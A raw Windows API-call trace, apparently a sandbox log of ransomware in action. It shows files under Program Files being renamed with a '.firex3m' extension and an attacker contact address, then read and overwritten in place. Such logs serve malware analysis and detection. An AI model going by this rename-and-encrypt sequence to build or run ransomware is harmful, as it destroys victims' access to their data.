[0115.579] Sleep (dwMilliseconds=0x1) [0115.638] SysReAllocStringLen (in: pbstr=0x55fff7c*=0x0, psz="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb", len=0x34 | out: pbstr=0x55fff7c*="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb") returned 1 [0115.638] GetProcessHeap () returned 0x630000 [0115.638] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e9030, Size=0x1c) returned 0x6e9198 [0115.638] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado25.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0115.641] Sleep (dwMilliseconds=0x1) [0115.654] Sleep (dwMilliseconds=0x1) [0115.669] Sleep (dwMilliseconds=0x1) [0115.685] Sleep (dwMilliseconds=0x1) [0115.700] Sleep (dwMilliseconds=0x1) [0115.715] Sleep (dwMilliseconds=0x1) [0115.733] Sleep (dwMilliseconds=0x1) [0115.747] Sleep (dwMilliseconds=0x1) [0115.763] Sleep (dwMilliseconds=0x1) [0115.778] Sleep (dwMilliseconds=0x1) [0115.794] Sleep (dwMilliseconds=0x1) [0115.809] Sleep (dwMilliseconds=0x1) [0115.825] Sleep (dwMilliseconds=0x1) [0115.889] Sleep (dwMilliseconds=0x1) [0115.903] Sleep (dwMilliseconds=0x1) [0115.919] Sleep (dwMilliseconds=0x1) [0115.934] Sleep (dwMilliseconds=0x1) [0115.950] Sleep (dwMilliseconds=0x1) [0115.980] Sleep (dwMilliseconds=0x1) [0116.344] Sleep (dwMilliseconds=0x1) [0116.366] SysReAllocStringLen (in: pbstr=0x55fff7c*=0x0, psz="C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll", len=0x37 | out: pbstr=0x55fff7c*="C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll") returned 1 [0116.366] GetProcessHeap () returned 0x630000 [0116.366] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b01f8, Size=0x14) returned 0x6b0418 [0116.366] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0116.374] Sleep (dwMilliseconds=0x1) [0116.405] Sleep (dwMilliseconds=0x1) [0116.459] Sleep (dwMilliseconds=0x1) [0116.534] Sleep (dwMilliseconds=0x1) [0116.606] Sleep (dwMilliseconds=0x1) [0116.653] Sleep (dwMilliseconds=0x1) [0116.700] Sleep (dwMilliseconds=0x1) [0116.810] SysReAllocStringLen (in: pbstr=0x55fff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe", len=0x2f | out: pbstr=0x55fff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe") returned 1 [0116.810] GetProcessHeap () returned 0x630000 [0116.810] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e9008, Size=0x1c) returned 0x6e91c0 [0116.810] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ktab.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x684 [0116.812] CloseHandle (hObject=0x684) returned 1 [0116.812] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.812] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ktab.exe"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ktab.exe.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0116.813] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0116.813] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x55ffc6c | out: lpFindFileData=0x55ffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="ktab.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="KTABEX~1.FIR")) returned 0x6d5200 [0116.813] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0116.813] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ktab.exe.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x684 [0116.813] GetProcessHeap () returned 0x630000 [0116.813] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4061) returned 0x6effdf0 [0116.813] GetProcessHeap () returned 0x630000 [0116.813] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4061) returned 0x6f11da8 [0116.813] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.813] ReadFile (in: hFile=0x684, lpBuffer=0x6effdf0, nNumberOfBytesToRead=0x4040, lpNumberOfBytesRead=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6effdf0*, lpNumberOfBytesRead=0x55fff0c*=0x4040, lpOverlapped=0x0) returned 1 [0118.220] GetProcessHeap () returned 0x630000 [0118.221] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6feeb70 [0118.221] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.221] WriteFile (in: hFile=0x684, lpBuffer=0x6f11da8*, nNumberOfBytesToWrite=0x4040, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f11da8*, lpNumberOfBytesWritten=0x55fff0c*=0x4040, lpOverlapped=0x0) returned 1 [0118.221] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.221] WriteFile (in: hFile=0x684, lpBuffer=0x6f15de7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f15de7*, lpNumberOfBytesWritten=0x55fff0c*=0x20, lpOverlapped=0x0) returned 1 [0118.221] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.221] WriteFile (in: hFile=0x684, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x55fff0c*=0x4, lpOverlapped=0x0) returned 1 [0118.221] CloseHandle (hObject=0x684) returned 1 [0118.223] GetProcessHeap () returned 0x630000 [0118.223] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f11da8 | out: hHeap=0x630000) returned 1 [0118.223] GetProcessHeap () returned 0x630000 [0118.223] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6effdf0 | out: hHeap=0x630000) returned 1 [0118.223] GetProcessHeap () returned 0x630000 [0118.223] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6feeb70 | out: hHeap=0x630000) returned 1 [0118.223] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0118.223] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x55ffcc4 | out: lpFindFileData=0x55ffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc6a5412, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x4064, dwReserved0=0xa707496, dwReserved1=0x6effde8, cFileName="ktab.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="KTABEX~1.FIR")) returned 0x6d5240 [0118.224] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0118.224] Sleep (dwMilliseconds=0x1) [0123.297] SysReAllocStringLen (in: pbstr=0x55fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml", len=0x68 | out: pbstr=0x55fff7c*="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 1 [0123.297] GetProcessHeap () returned 0x630000 [0123.297] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x1a0) returned 0x66a3e0 [0123.297] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6cc [0123.302] CloseHandle (hObject=0x6cc) returned 1 [0123.302] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0123.302] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0123.321] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0123.321] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x55ffc6c | out: lpFindFileData=0x55ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x839bc0c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x839bc0c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x630061, dwReserved1=0x2d0074, cFileName="AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="APEB02~1.FIR")) returned 0x6d4f00 [0123.321] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0123.321] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6cc [0123.321] GetProcessHeap () returned 0x630000 [0123.321] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2421) returned 0x6fc0048 [0123.322] GetProcessHeap () returned 0x630000 [0123.322] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2421) returned 0x6fc2478 [0123.322] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.322] ReadFile (in: hFile=0x6cc, lpBuffer=0x6fc0048, nNumberOfBytesToRead=0x2400, lpNumberOfBytesRead=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fc0048*, lpNumberOfBytesRead=0x55fff0c*=0x2400, lpOverlapped=0x0) returned 1 [0123.569] GetProcessHeap () returned 0x630000 [0123.569] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6feeeb8 [0123.570] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.570] WriteFile (in: hFile=0x6cc, lpBuffer=0x6fc2478*, nNumberOfBytesToWrite=0x2400, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fc2478*, lpNumberOfBytesWritten=0x55fff0c*=0x2400, lpOverlapped=0x0) returned 1 [0125.330] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.330] WriteFile (in: hFile=0x6cc, lpBuffer=0x6fc4877*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fc4877*, lpNumberOfBytesWritten=0x55fff0c*=0x20, lpOverlapped=0x0) returned 1 [0126.834] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.834] WriteFile (in: hFile=0x6cc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x55fff0c*=0x4, lpOverlapped=0x0) returned 1 [0126.834] CloseHandle (hObject=0x6cc) returned 1 [0128.097] GetProcessHeap () returned 0x630000 [0128.097] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fc2478 | out: hHeap=0x630000) returned 1 [0128.098] GetProcessHeap () returned 0x630000 [0128.098] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fc0048 | out: hHeap=0x630000) returned 1 [0128.098] GetProcessHeap () returned 0x630000 [0128.098] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6feeeb8 | out: hHeap=0x630000) returned 1 [0129.161] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0129.161] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x55ffcc4 | out: lpFindFileData=0x55ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x839bc0c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x839bc0c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x118cfa7f, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x2424, dwReserved0=0xa707496, dwReserved1=0x6fc0040, cFileName="AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="APEB02~1.FIR")) returned 0x6d5200 [0129.162] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0129.162] Sleep (dwMilliseconds=0x1) [0129.225] SysReAllocStringLen (in: pbstr=0x55fff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar", len=0x34 | out: pbstr=0x55fff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 1 [0129.225] GetProcessHeap () returned 0x630000 [0129.225] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x7c) returned 0x66a3e0 [0129.225] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e4 [0129.229] CloseHandle (hObject=0x6e4) returned 1 [0129.229] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0129.229] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0129.272] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0129.272] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x55ffc6c | out: lpFindFileData=0x55ffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8bb82c9, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8bb82c9, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8bb82c9, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x205e, dwReserved0=0x80001292, dwReserved1=0x0, cFileName="dnsns.jar.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="DNSNSJ~1.FIR")) returned 0x6d5480 [0129.272] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0129.272] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e4 [0129.272] GetProcessHeap () returned 0x630000 [0129.272] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2061) returned 0x721d1d8 [0129.273] GetProcessHeap () returned 0x630000 [0129.273] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2061) returned 0x6fc0048 [0129.276] SetFilePointerEx (in: hFile=0x6e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.276] ReadFile (in: hFile=0x6e4, lpBuffer=0x721d1d8, nNumberOfBytesToRead=0x2040, lpNumberOfBytesRead=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x721d1d8*, lpNumberOfBytesRead=0x55fff0c*=0x2040, lpOverlapped=0x0) returned 1 [0129.317] GetProcessHeap () returned 0x630000 [0129.317] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73171a8 [0129.317] SetFilePointerEx (in: hFile=0x6e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.317] WriteFile (in: hFile=0x6e4, lpBuffer=0x6fc0048*, nNumberOfBytesToWrite=0x2040, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fc0048*, lpNumberOfBytesWritten=0x55fff0c*=0x2040, lpOverlapped=0x0) returned 1 [0129.317] SetFilePointerEx (in: hFile=0x6e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.317] WriteFile (in: hFile=0x6e4, lpBuffer=0x6fc2087*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fc2087*, lpNumberOfBytesWritten=0x55fff0c*=0x20, lpOverlapped=0x0) returned 1 [0129.317] SetFilePointerEx (in: hFile=0x6e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.317] WriteFile (in: hFile=0x6e4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x55fff0c*=0x4, lpOverlapped=0x0) returned 1 [0129.317] CloseHandle (hObject=0x6e4) returned 1 [0131.180] GetProcessHeap () returned 0x630000 [0131.180] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fc0048 | out: hHeap=0x630000) returned 1 [0131.180] GetProcessHeap () returned 0x630000 [0131.180] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x721d1d8 | out: hHeap=0x630000) returned 1 [0131.180] GetProcessHeap () returned 0x630000 [0131.180] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73171a8 | out: hHeap=0x630000) returned 1 [0131.296] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0131.296] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x55ffcc4 | out: lpFindFileData=0x55ffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8bb82c9, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8bb82c9, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x1423ee9e, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x2082, dwReserved0=0xa707496, dwReserved1=0x721d1d0, cFileName="dnsns.jar.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="DNSNSJ~1.FIR")) returned 0x6d5340 [0131.296] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0131.296] Sleep (dwMilliseconds=0x1) [0131.334] SysReAllocStringLen (in: pbstr=0x55fff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties", len=0x47 | out: pbstr=0x55fff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 1 [0131.334] GetProcessHeap () returned 0x630000 [0131.334] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x60) returned 0x66a3e0 [0131.334] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d4 [0131.337] CloseHandle (hObject=0x6d4) returned 1 [0131.338] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0131.338] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0131.341] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0131.341] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x55ffc6c | out: lpFindFileData=0x55ffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_zh_TW.properties.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MESSAG~2.FIR")) returned 0x6d5540 [0131.342] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0131.346] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e4 [0131.346] GetProcessHeap () returned 0x630000 [0131.346] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, 